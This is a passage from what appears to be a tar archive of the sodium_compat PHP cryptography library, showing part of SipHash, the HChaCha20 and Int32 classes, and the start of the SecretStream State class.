                        0, self::chrToInt($in[5]) << 8
                    )
                );
            case 5:
                $b = $b->orInt64(
                    ParagonIE_Sodium_Core32_Int64::fromInts(
                        0, self::chrToInt($in[4])
                    )
                );
            case 4:
                $b = $b->orInt64(
                    ParagonIE_Sodium_Core32_Int64::fromInts(
                        self::chrToInt($in[3]) << 24, 0
                    )
                );
            case 3:
                $b = $b->orInt64(
                    ParagonIE_Sodium_Core32_Int64::fromInts(
                        self::chrToInt($in[2]) << 16, 0
                    )
                );
            case 2:
                $b = $b->orInt64(
                    ParagonIE_Sodium_Core32_Int64::fromInts(
                        self::chrToInt($in[1]) << 8, 0
                    )
                );
            case 1:
                $b = $b->orInt64(
                    ParagonIE_Sodium_Core32_Int64::fromInts(
                        self::chrToInt($in[0]), 0
                    )
                );
            case 0:
                break;
        }

        # v3 ^= b;
        $v[3] = $v[3]->xorInt64($b);

        # SIPROUND;
        # SIPROUND;
        $v = self::sipRound($v);
        $v = self::sipRound($v);

        # v0 ^= b;
        $v[0] = $v[0]->xorInt64($b);

        // Flip the lower 8 bits of v2 which is ($v[4], $v[5]) in our implementation
        # v2 ^= 0xff;
        $v[2]->limbs[3] ^= 0xff;

        # SIPROUND;
        # SIPROUND;
        # SIPROUND;
        # SIPROUND;
        $v = self::sipRound($v);
        $v = self::sipRound($v);
        $v = self::sipRound($v);
        $v = self::sipRound($v);

        # b = v0 ^ v1 ^ v2 ^ v3;
        # STORE64_LE( out, b );
        return $v[0]
            ->xorInt64($v[1])
            ->xorInt64($v[2])
            ->xorInt64($v[3])
            ->toReverseString();
    }
}
Core32/HChaCha20.php000064400000012261152222652550007703 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_HChaCha20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_HChaCha20
 */
class ParagonIE_Sodium_Core32_HChaCha20 extends ParagonIE_Sodium_Core32_ChaCha20
{
    /**
     * @param string $in
     * @param string $key
     * @param string|null $c
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function hChaCha20($in = '', $key = '', $c = null)
    {
        $ctx = array();

        if ($c === null) {
            $ctx[0] = new ParagonIE_Sodium_Core32_Int32(array(0x6170, 0x7865));
            $ctx[1] = new ParagonIE_Sodium_Core32_Int32(array(0x3320, 0x646e));
            $ctx[2] = new ParagonIE_Sodium_Core32_Int32(array(0x7962, 0x2d32));
            $ctx[3] = new ParagonIE_Sodium_Core32_Int32(array(0x6b20, 0x6574));
        } else {
            $ctx[0] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 0, 4));
            $ctx[1] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 4, 4));
            $ctx[2] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 8, 4));
            $ctx[3] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 12, 4));
        }
        $ctx[4]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 0, 4));
        $ctx[5]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 4, 4));
        $ctx[6]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 8, 4));
        $ctx[7]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 12, 4));
        $ctx[8]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 16, 4));
        $ctx[9]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 20, 4));
        $ctx[10] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 24, 4));
        $ctx[11] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 28, 4));
        $ctx[12] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 0, 4));
        $ctx[13] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 4, 4));
        $ctx[14] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 8, 4));
        $ctx[15] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 12, 4));

        return self::hChaCha20Bytes($ctx);
    }

    /**
     * @param array $ctx
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function hChaCha20Bytes(array $ctx)
    {
        /** @var ParagonIE_Sodium_Core32_Int32 $x0 */
        $x0  = $ctx[0];
        /** @var ParagonIE_Sodium_Core32_Int32 $x1 */
        $x1  = $ctx[1];
        /** @var ParagonIE_Sodium_Core32_Int32 $x2 */
        $x2  = $ctx[2];
        /** @var ParagonIE_Sodium_Core32_Int32 $x3 */
        $x3  = $ctx[3];
        /** @var ParagonIE_Sodium_Core32_Int32 $x4 */
        $x4  = $ctx[4];
        /** @var ParagonIE_Sodium_Core32_Int32 $x5 */
        $x5  = $ctx[5];
        /** @var ParagonIE_Sodium_Core32_Int32 $x6 */
        $x6  = $ctx[6];
        /** @var ParagonIE_Sodium_Core32_Int32 $x7 */
        $x7  = $ctx[7];
        /** @var ParagonIE_Sodium_Core32_Int32 $x8 */
        $x8  = $ctx[8];
        /** @var ParagonIE_Sodium_Core32_Int32 $x9 */
        $x9  = $ctx[9];
        /** @var ParagonIE_Sodium_Core32_Int32 $x10 */
        $x10 = $ctx[10];
        /** @var ParagonIE_Sodium_Core32_Int32 $x11 */
        $x11 = $ctx[11];
        /** @var ParagonIE_Sodium_Core32_Int32 $x12 */
        $x12 = $ctx[12];
        /** @var ParagonIE_Sodium_Core32_Int32 $x13 */
        $x13 = $ctx[13];
        /** @var ParagonIE_Sodium_Core32_Int32 $x14 */
        $x14 = $ctx[14];
        /** @var ParagonIE_Sodium_Core32_Int32 $x15 */
        $x15 = $ctx[15];

        for ($i = 0; $i < 10; ++$i) {
            # QUARTERROUND( x0,  x4,  x8,  x12)
            list($x0, $x4, $x8, $x12) = self::quarterRound($x0, $x4, $x8, $x12);

            # QUARTERROUND( x1,  x5,  x9,  x13)
            list($x1, $x5, $x9, $x13) = self::quarterRound($x1, $x5, $x9, $x13);

            # QUARTERROUND( x2,  x6,  x10,  x14)
            list($x2, $x6, $x10, $x14) = self::quarterRound($x2, $x6, $x10, $x14);

            # QUARTERROUND( x3,  x7,  x11,  x15)
            list($x3, $x7, $x11, $x15) = self::quarterRound($x3, $x7, $x11, $x15);

            # QUARTERROUND( x0,  x5,  x10,  x15)
            list($x0, $x5, $x10, $x15) = self::quarterRound($x0, $x5, $x10, $x15);

            # QUARTERROUND( x1,  x6,  x11,  x12)
            list($x1, $x6, $x11, $x12) = self::quarterRound($x1, $x6, $x11, $x12);

            # QUARTERROUND( x2,  x7,  x8,  x13)
            list($x2, $x7, $x8, $x13) = self::quarterRound($x2, $x7, $x8, $x13);

            # QUARTERROUND( x3,  x4,  x9,  x14)
            list($x3, $x4, $x9, $x14) = self::quarterRound($x3, $x4, $x9, $x14);
        }

        return $x0->toReverseString() .
            $x1->toReverseString() .
            $x2->toReverseString() .
            $x3->toReverseString() .
            $x12->toReverseString() .
            $x13->toReverseString() .
            $x14->toReverseString() .
            $x15->toReverseString();
    }
}
Core32/Int32.php000064400000060004152222652550007217 0ustar00<?php

/**
 * Class ParagonIE_Sodium_Core32_Int32
 *
 * Encapsulates a 32-bit integer.
 *
 * These are immutable. It always returns a new instance.
 */
class ParagonIE_Sodium_Core32_Int32
{
    /**
     * @var array<int, int> - two 16-bit integers
     *
     * 0 is the higher 16 bits
     * 1 is the lower 16 bits
     */
    public $limbs = array(0, 0);

    /**
     * @var int
     */
    public $overflow = 0;

    /**
     * @var bool
     */
    public $unsignedInt = false;

    /**
     * ParagonIE_Sodium_Core32_Int32 constructor.
     * @param array $array
     * @param bool $unsignedInt
     */
    public function __construct($array = array(0, 0), $unsignedInt = false)
    {
        $this->limbs = array(
            (int) $array[0],
            (int) $array[1]
        );
        $this->overflow = 0;
        $this->unsignedInt = $unsignedInt;
    }

    /**
     * Adds two int32 objects
     *
     * @param ParagonIE_Sodium_Core32_Int32 $addend
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function addInt32(ParagonIE_Sodium_Core32_Int32 $addend)
    {
        $i0 = $this->limbs[0];
        $i1 = $this->limbs[1];
        $j0 = $addend->limbs[0];
        $j1 = $addend->limbs[1];

        $r1 = $i1 + ($j1 & 0xffff);
        $carry = $r1 >> 16;

        $r0 = $i0 + ($j0 & 0xffff) + $carry;
        $carry = $r0 >> 16;

        $r0 &= 0xffff;
        $r1 &= 0xffff;

        $return = new ParagonIE_Sodium_Core32_Int32(
            array($r0, $r1)
        );
        $return->overflow = $carry;
        $return->unsignedInt = $this->unsignedInt;
        return $return;
    }

    /**
     * Adds a normal integer to an int32 object
     *
     * @param int $int
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     */
    public function addInt($int)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1);
        /** @var int $int */
        $int = (int) $int;

        $int = (int) $int;

        $i0 = $this->limbs[0];
        $i1 = $this->limbs[1];

        $r1 = $i1 + ($int & 0xffff);
        $carry = $r1 >> 16;

        $r0 = $i0 + (($int >> 16) & 0xffff) + $carry;
        $carry = $r0 >> 16;
        $r0 &= 0xffff;
        $r1 &= 0xffff;
        $return = new ParagonIE_Sodium_Core32_Int32(
            array($r0, $r1)
        );
        $return->overflow = $carry;
        $return->unsignedInt = $this->unsignedInt;
        return $return;
    }

    /**
     * @param int $b
     * @return int
     */
    public function compareInt($b = 0)
    {
        $gt = 0;
        $eq = 1;

        $i = 2;
        $j = 0;
        while ($i > 0) {
            --$i;
            /** @var int $x1 */
            $x1 = $this->limbs[$i];
            /** @var int $x2 */
            $x2 = ($b >> ($j << 4)) & 0xffff;
            /** @var int $gt */
            $gt |= (($x2 - $x1) >> 8) & $eq;
            /** @var int $eq */
            $eq &= (($x2 ^ $x1) - 1) >> 8;
        }
        return ($gt + $gt - $eq) + 1;
    }

    /**
     * @param int $m
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function mask($m = 0)
    {
        /** @var int $hi */
        $hi = ((int) $m >> 16);
        $hi &= 0xffff;
        /** @var int $lo */
        $lo = ((int) $m) & 0xffff;
        return new ParagonIE_Sodium_Core32_Int32(
            array(
                (int) ($this->limbs[0] & $hi),
                (int) ($this->limbs[1] & $lo)
            ),
            $this->unsignedInt
        );
    }

    /**
     * @param array<int, int> $a
     * @param array<int, int> $b
     * @param int $baseLog2
     * @return array<int, int>
     */
    public function multiplyLong(array $a, array $b, $baseLog2 = 16)
    {
        $a_l = count($a);
        $b_l = count($b);
        /** @var array<int, int> $r */
        $r = array_fill(0, $a_l + $b_l + 1, 0);
        $base = 1 << $baseLog2;
        for ($i = 0; $i < $a_l; ++$i) {
            $a_i = $a[$i];
            for ($j = 0; $j < $a_l; ++$j) {
                $b_j = $b[$j];
                $product = ($a_i * $b_j) + $r[$i + $j];
                $carry = ((int) $product >> $baseLog2 & 0xffff);
                $r[$i + $j] = ((int) $product - (int) ($carry * $base)) & 0xffff;
                $r[$i + $j + 1] += $carry;
            }
        }
        return array_slice($r, 0, 5);
    }

    /**
     * @param int $int
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function mulIntFast($int)
    {
        // Handle negative numbers
        $aNeg = ($this->limbs[0] >> 15) & 1;
        $bNeg = ($int >> 31) & 1;
        $a = array_reverse($this->limbs);
        $b = array(
            $int & 0xffff,
            ($int >> 16) & 0xffff
        );
        if ($aNeg) {
            for ($i = 0; $i < 2; ++$i) {
                $a[$i] = ($a[$i] ^ 0xffff) & 0xffff;
            }
            ++$a[0];
        }
        if ($bNeg) {
            for ($i = 0; $i < 2; ++$i) {
                $b[$i] = ($b[$i] ^ 0xffff) & 0xffff;
            }
            ++$b[0];
        }
        // Multiply
        $res = $this->multiplyLong($a, $b);

        // Re-apply negation to results
        if ($aNeg !== $bNeg) {
            for ($i = 0; $i < 2; ++$i) {
                $res[$i] = (0xffff ^ $res[$i]) & 0xffff;
            }
            // Handle integer overflow
            $c = 1;
            for ($i = 0; $i < 2; ++$i) {
                $res[$i] += $c;
                $c = $res[$i] >> 16;
                $res[$i] &= 0xffff;
            }
        }

        // Return our values
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->limbs = array(
            $res[1] & 0xffff,
            $res[0] & 0xffff
        );
        if (count($res) > 2) {
            $return->overflow = $res[2] & 0xffff;
        }
        $return->unsignedInt = $this->unsignedInt;
        return $return;
    }

    /**
     * @param ParagonIE_Sodium_Core32_Int32 $right
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function mulInt32Fast(ParagonIE_Sodium_Core32_Int32 $right)
    {
        $aNeg = ($this->limbs[0] >> 15) & 1;
        $bNeg = ($right->limbs[0] >> 15) & 1;

        $a = array_reverse($this->limbs);
        $b = array_reverse($right->limbs);
        if ($aNeg) {
            for ($i = 0; $i < 2; ++$i) {
                $a[$i] = ($a[$i] ^ 0xffff) & 0xffff;
            }
            ++$a[0];
        }
        if ($bNeg) {
            for ($i = 0; $i < 2; ++$i) {
                $b[$i] = ($b[$i] ^ 0xffff) & 0xffff;
            }
            ++$b[0];
        }
        $res = $this->multiplyLong($a, $b);
        if ($aNeg !== $bNeg) {
            if ($aNeg !== $bNeg) {
                for ($i = 0; $i < 2; ++$i) {
                    $res[$i] = ($res[$i] ^ 0xffff) & 0xffff;
                }
                $c = 1;
                for ($i = 0; $i < 2; ++$i) {
                    $res[$i] += $c;
                    $c = $res[$i] >> 16;
                    $res[$i] &= 0xffff;
                }
            }
        }
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->limbs = array(
            $res[1] & 0xffff,
            $res[0] & 0xffff
        );
        if (count($res) > 2) {
            $return->overflow = $res[2];
        }
        return $return;
    }

    /**
     * @param int $int
     * @param int $size
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     */
    public function mulInt($int = 0, $size = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1);
        ParagonIE_Sodium_Core32_Util::declareScalarType($size, 'int', 2);
        if (ParagonIE_Sodium_Compat::$fastMult) {
            return $this->mulIntFast((int) $int);
        }
        /** @var int $int */
        $int = (int) $int;
        /** @var int $size */
        $size = (int) $size;

        if (!$size) {
            $size = 31;
        }
        /** @var int $size */

        $a = clone $this;
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;

        // Initialize:
        $ret0 = 0;
        $ret1 = 0;
        $a0 = $a->limbs[0];
        $a1 = $a->limbs[1];

        /** @var int $size */
        /** @var int $i */
        for ($i = $size; $i >= 0; --$i) {
            $m = (int) (-($int & 1));
            $x0 = $a0 & $m;
            $x1 = $a1 & $m;

            $ret1 += $x1;
            $c = $ret1 >> 16;

            $ret0 += $x0 + $c;

            $ret0 &= 0xffff;
            $ret1 &= 0xffff;

            $a1 = ($a1 << 1);
            $x1 = $a1 >> 16;
            $a0 = ($a0 << 1) | $x1;
            $a0 &= 0xffff;
            $a1 &= 0xffff;
            $int >>= 1;
        }
        $return->limbs[0] = $ret0;
        $return->limbs[1] = $ret1;
        return $return;
    }

    /**
     * @param ParagonIE_Sodium_Core32_Int32 $int
     * @param int $size
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     */
    public function mulInt32(ParagonIE_Sodium_Core32_Int32 $int, $size = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($size, 'int', 2);
        if (ParagonIE_Sodium_Compat::$fastMult) {
            return $this->mulInt32Fast($int);
        }
        if (!$size) {
            $size = 31;
        }
        /** @var int $size */

        $a = clone $this;
        $b = clone $int;
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;

        // Initialize:
        $ret0 = 0;
        $ret1 = 0;
        $a0 = $a->limbs[0];
        $a1 = $a->limbs[1];
        $b0 = $b->limbs[0];
        $b1 = $b->limbs[1];

        /** @var int $size */
        /** @var int $i */
        for ($i = $size; $i >= 0; --$i) {
            $m = (int) (-($b1 & 1));
            $x0 = $a0 & $m;
            $x1 = $a1 & $m;

            $ret1 += $x1;
            $c = $ret1 >> 16;

            $ret0 += $x0 + $c;

            $ret0 &= 0xffff;
            $ret1 &= 0xffff;

            $a1 = ($a1 << 1);
            $x1 = $a1 >> 16;
            $a0 = ($a0 << 1) | $x1;
            $a0 &= 0xffff;
            $a1 &= 0xffff;

            $x0 = ($b0 & 1) << 16;
            $b0 = ($b0 >> 1);
            $b1 = (($b1 | $x0) >> 1);

            $b0 &= 0xffff;
            $b1 &= 0xffff;

        }
        $return->limbs[0] = $ret0;
        $return->limbs[1] = $ret1;

        return $return;
    }

    /**
     * OR this 32-bit integer with another.
     *
     * @param ParagonIE_Sodium_Core32_Int32 $b
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function orInt32(ParagonIE_Sodium_Core32_Int32 $b)
    {
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;
        $return->limbs = array(
            (int) ($this->limbs[0] | $b->limbs[0]),
            (int) ($this->limbs[1] | $b->limbs[1])
        );
        /** @var int overflow */
        $return->overflow = $this->overflow | $b->overflow;
        return $return;
    }

    /**
     * @param int $b
     * @return bool
     */
    public function isGreaterThan($b = 0)
    {
        return $this->compareInt($b) > 0;
    }

    /**
     * @param int $b
     * @return bool
     */
    public function isLessThanInt($b = 0)
    {
        return $this->compareInt($b) < 0;
    }

    /**
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     */
    public function rotateLeft($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1);
        /** @var int $c */
        $c = (int) $c;

        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 31;
        if ($c === 0) {
            // NOP, but we want a copy.
            $return->limbs = $this->limbs;
        } else {
            /** @var int $c */

            /** @var int $idx_shift */
            $idx_shift = ($c >> 4) & 1;

            /** @var int $sub_shift */
            $sub_shift = $c & 15;

            /** @var array<int, int> $limbs */
            $limbs =& $return->limbs;

            /** @var array<int, int> $myLimbs */
            $myLimbs =& $this->limbs;

            for ($i = 1; $i >= 0; --$i) {
                /** @var int $j */
                $j = ($i + $idx_shift) & 1;
                /** @var int $k */
                $k = ($i + $idx_shift + 1) & 1;
                $limbs[$i] = (int) (
                    (
                        ((int) ($myLimbs[$j]) << $sub_shift)
                            |
                        ((int) ($myLimbs[$k]) >> (16 - $sub_shift))
                    ) & 0xffff
                );
            }
        }
        return $return;
    }

    /**
     * Rotate to the right
     *
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     */
    public function rotateRight($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1);
        /** @var int $c */
        $c = (int) $c;

        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 31;
        /** @var int $c */
        if ($c === 0) {
            // NOP, but we want a copy.
            $return->limbs = $this->limbs;
        } else {
            /** @var int $c */

            /** @var int $idx_shift */
            $idx_shift = ($c >> 4) & 1;

            /** @var int $sub_shift */
            $sub_shift = $c & 15;

            /** @var array<int, int> $limbs */
            $limbs =& $return->limbs;

            /** @var array<int, int> $myLimbs */
            $myLimbs =& $this->limbs;

            for ($i = 1; $i >= 0; --$i) {
                /** @var int $j */
                $j = ($i - $idx_shift) & 1;
                /** @var int $k */
                $k = ($i - $idx_shift - 1) & 1;
                $limbs[$i] = (int) (
                    (
                        ((int) ($myLimbs[$j]) >> (int) ($sub_shift))
                            |
                        ((int) ($myLimbs[$k]) << (16 - (int) ($sub_shift)))
                    ) & 0xffff
                );
            }
        }
        return $return;
    }

    /**
     * @param bool $bool
     * @return self
     */
    public function setUnsignedInt($bool = false)
    {
        $this->unsignedInt = !empty($bool);
        return $this;
    }

    /**
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     */
    public function shiftLeft($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1);
        /** @var int $c */
        $c = (int) $c;

        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 63;
        /** @var int $c */
        if ($c === 0) {
            $return->limbs = $this->limbs;
        } elseif ($c < 0) {
            /** @var int $c */
            return $this->shiftRight(-$c);
        } else {
            /** @var int $c */
            /** @var int $tmp */
            $tmp = $this->limbs[1] << $c;
            $return->limbs[1] = (int)($tmp & 0xffff);
            /** @var int $carry */
            $carry = $tmp >> 16;

            /** @var int $tmp */
            $tmp = ($this->limbs[0] << $c) | ($carry & 0xffff);
            $return->limbs[0] = (int) ($tmp & 0xffff);
        }
        return $return;
    }

    /**
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedOperand
     */
    public function shiftRight($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1);
        /** @var int $c */
        $c = (int) $c;

        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 63;
        /** @var int $c */
        if ($c >= 16) {
            $return->limbs = array(
                (int) ($this->overflow & 0xffff),
                (int) ($this->limbs[0])
            );
            $return->overflow = $this->overflow >> 16;
            return $return->shiftRight($c & 15);
        }
        if ($c === 0) {
            $return->limbs = $this->limbs;
        } elseif ($c < 0) {
            /** @var int $c */
            return $this->shiftLeft(-$c);
        } else {
            if (!is_int($c)) {
                throw new TypeError();
            }
            /** @var int $c */
            // $return->limbs[0] = (int) (($this->limbs[0] >> $c) & 0xffff);
            $carryLeft = (int) ($this->overflow & ((1 << ($c + 1)) - 1));
            $return->limbs[0] = (int) ((($this->limbs[0] >> $c) | ($carryLeft << (16 - $c))) & 0xffff);
            $carryRight = (int) ($this->limbs[0] & ((1 << ($c + 1)) - 1));
            $return->limbs[1] = (int) ((($this->limbs[1] >> $c) | ($carryRight << (16 - $c))) & 0xffff);
            $return->overflow >>= $c;
        }
        return $return;
    }

    /**
     * Subtract a normal integer from an int32 object.
     *
     * @param int $int
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     */
    public function subInt($int)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1);
        /** @var int $int */
        $int = (int) $int;

        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;

        /** @var int $tmp */
        $tmp = $this->limbs[1] - ($int & 0xffff);
        /** @var int $carry */
        $carry = $tmp >> 16;
        $return->limbs[1] = (int) ($tmp & 0xffff);

        /** @var int $tmp */
        $tmp = $this->limbs[0] - (($int >> 16) & 0xffff) + $carry;
        $return->limbs[0] = (int) ($tmp & 0xffff);
        return $return;
    }

    /**
     * Subtract two int32 objects from each other
     *
     * @param ParagonIE_Sodium_Core32_Int32 $b
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function subInt32(ParagonIE_Sodium_Core32_Int32 $b)
    {
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;

        /** @var int $tmp */
        $tmp = $this->limbs[1] - ($b->limbs[1] & 0xffff);
        /** @var int $carry */
        $carry = $tmp >> 16;
        $return->limbs[1] = (int) ($tmp & 0xffff);

        /** @var int $tmp */
        $tmp = $this->limbs[0] - ($b->limbs[0] & 0xffff) + $carry;
        $return->limbs[0] = (int) ($tmp & 0xffff);
        return $return;
    }

    /**
     * XOR this 32-bit integer with another.
     *
     * @param ParagonIE_Sodium_Core32_Int32 $b
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function xorInt32(ParagonIE_Sodium_Core32_Int32 $b)
    {
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;
        $return->limbs = array(
            (int) ($this->limbs[0] ^ $b->limbs[0]),
            (int) ($this->limbs[1] ^ $b->limbs[1])
        );
        return $return;
    }

    /**
     * @param int $signed
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromInt($signed)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($signed, 'int', 1);;
        /** @var int $signed */
        $signed = (int) $signed;

        return new ParagonIE_Sodium_Core32_Int32(
            array(
                (int) (($signed >> 16) & 0xffff),
                (int) ($signed & 0xffff)
            )
        );
    }

    /**
     * @param string $string
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromString($string)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($string, 'string', 1);
        $string = (string) $string;
        if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 4) {
            throw new RangeException(
                'String must be 4 bytes; ' . ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.'
            );
        }
        $return = new ParagonIE_Sodium_Core32_Int32();

        $return->limbs[0]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff) << 8);
        $return->limbs[0] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff);
        $return->limbs[1]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff) << 8);
        $return->limbs[1] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff);
        return $return;
    }

    /**
     * @param string $string
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromReverseString($string)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($string, 'string', 1);
        $string = (string) $string;
        if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 4) {
            throw new RangeException(
                'String must be 4 bytes; ' . ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.'
            );
        }
        $return = new ParagonIE_Sodium_Core32_Int32();

        $return->limbs[0]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff) << 8);
        $return->limbs[0] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff);
        $return->limbs[1]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff) << 8);
        $return->limbs[1] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff);
        return $return;
    }

    /**
     * @return array<int, int>
     */
    public function toArray()
    {
        return array((int) ($this->limbs[0] << 16 | $this->limbs[1]));
    }

    /**
     * @return string
     * @throws TypeError
     */
    public function toString()
    {
        return
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] & 0xff);
    }

    /**
     * @return int
     */
    public function toInt()
    {
        return (int) (
            (($this->limbs[0] & 0xffff) << 16)
                |
            ($this->limbs[1] & 0xffff)
        );
    }

    /**
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function toInt32()
    {
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->limbs[0] = (int) ($this->limbs[0] & 0xffff);
        $return->limbs[1] = (int) ($this->limbs[1] & 0xffff);
        $return->unsignedInt = $this->unsignedInt;
        $return->overflow = (int) ($this->overflow & 0x7fffffff);
        return $return;
    }

    /**
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function toInt64()
    {
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        if ($this->unsignedInt) {
            $return->limbs[0] += (($this->overflow >> 16) & 0xffff);
            $return->limbs[1] += (($this->overflow) & 0xffff);
        } else {
            $neg = -(($this->limbs[0] >> 15) & 1);
            $return->limbs[0] = (int)($neg & 0xffff);
            $return->limbs[1] = (int)($neg & 0xffff);
        }
        $return->limbs[2] = (int) ($this->limbs[0] & 0xffff);
        $return->limbs[3] = (int) ($this->limbs[1] & 0xffff);
        return $return;
    }

    /**
     * @return string
     * @throws TypeError
     */
    public function toReverseString()
    {
        return ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0] >> 8) & 0xff);
    }

    /**
     * @return string
     */
    public function __toString()
    {
        try {
            return $this->toString();
        } catch (TypeError $ex) {
            // PHP engine can't handle exceptions from __toString()
            return '';
        }
    }
}
Core32/SecretStream/.htaccess000064400000000000152222652550011774 0ustar00Core32/SecretStream/State.php000064400000007110152222652550012000 0ustar00<?php

/**
 * Class ParagonIE_Sodium_Core32_SecretStream_State
 */
class ParagonIE_Sodium_Core32_SecretStream_State
{
    /** @var string $key */
    protected $key;

    /** @var int $counter */
    protected $counter;

    /** @var string $nonce */
    protected $nonce;

    /** @var string $_pad */
    protected $_pad;

    /**
     * ParagonIE_Sodium_Core32_SecretStream_State constructor.
     * @param string $key
     * @param string|null $nonce
     */
    public function __construct($key, $nonce = null)
    {
        $this->key = $key;
        $this->counter = 1;
        if (is_null($nonce)) {
            $nonce = str_repeat("\0", 12);
        }
        $this->nonce = str_pad($nonce, 12, "\0", STR_PAD_RIGHT);;
        $this->_pad = str_repeat("\0", 4);
    }

    /**
     * @return self
     */
    public function counterReset()
    {
        $this->counter = 1;
        $this->_pad = str_repeat("\0", 4);
        return $this;
    }

    /**
     * @return string
     */
    public function getKey()
    {
        return $this->key;
    }

    /**
     * @return string
